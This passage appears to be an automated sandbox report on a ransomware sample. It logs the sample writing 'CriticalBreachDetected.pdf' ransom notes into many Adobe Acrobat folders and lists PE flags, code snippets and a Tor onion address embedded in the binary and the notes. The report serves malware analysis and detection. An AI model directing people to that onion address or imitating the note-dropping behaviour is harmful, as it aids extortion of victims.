Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\dc-annotations\js\CriticalBreachDetected.pdf	Jump to behavior

Source: lMNx3XfBrF.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 4x nop then jmp 004305A0h	0_2_0041E020
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 4x nop then lea r8, qword ptr [0000000000474F80h]	0_2_0042BAE0
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 4x nop then lea r8, qword ptr [0000000000474540h]	0_2_00428B30
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Code function: 4x nop then lea r8, qword ptr [00000000004755A0h]	0_2_0042CCA0

Networking

Found Tor onion address

Source: lMNx3XfBrF.exe, 00000000.00000002.2948063828.000000000044D000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: lMNx3XfBrF.exe, 00000000.00000000.1697114931.000000000044C000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: lMNx3XfBrF.exe	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf24.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf289.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf84.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf270.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf216.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf154.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf77.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf167.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf66.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf130.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf120.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf367.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf310.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf368.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf231.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf134.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf374.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf207.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf176.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf339.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf229.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf192.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf224.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf102.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf168.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
Source: CriticalBreachDetected.pdf5.0.dr	String found in binary or memory: /URI (http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)
